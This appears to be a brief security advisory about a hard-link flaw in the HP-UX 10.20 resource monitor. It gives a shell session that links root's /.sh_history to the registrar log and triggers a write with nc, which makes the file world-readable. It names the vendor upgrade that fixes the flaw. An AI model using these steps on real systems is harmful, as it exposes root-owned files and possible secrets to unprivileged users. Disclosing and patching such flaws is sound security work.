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Vulnerability
 resource monitor
Affected
 HpUX 10.20
Description
 J.A. Gutierrez found following. On HP-UX 10.20 you can change any
 file on the root partition to mode 644:
 $ uname -sr
 HP-UX B.10.20
 $ cd /etc/opt/resmon/log
 $ mv registrar.log registrar.log.orig
 $ ls -l /.sh_history
 -rw------- 1 root sys 3316 Sep 20 15:22 /.sh_history
 $ ln /.sh_history registrar.log
 $ nc hpux.example.com 1712 < /etc/motd
 $ ls -l /.sh_history
 -rw-r--r-- 2 root sys 3605 Nov 8 09:45 /.sh_history
 $ rm -f registrar.log
 $ mv registrar.log.orig registrar.log
 So, /.sh_history becomes world readable, and text similar to
 Event 382 occurred at Wed Nov 8 09:45:28.818524 2000
 Process ID: 10931 (/etc/opt/resmon/lbin/registrar) Log Level: Error
 _rm_recv: Couldn't malloc 1073803312 bytes for receive buffer
 gets appended to it.
Solution
 Upgrade to EMS A.03.20 release.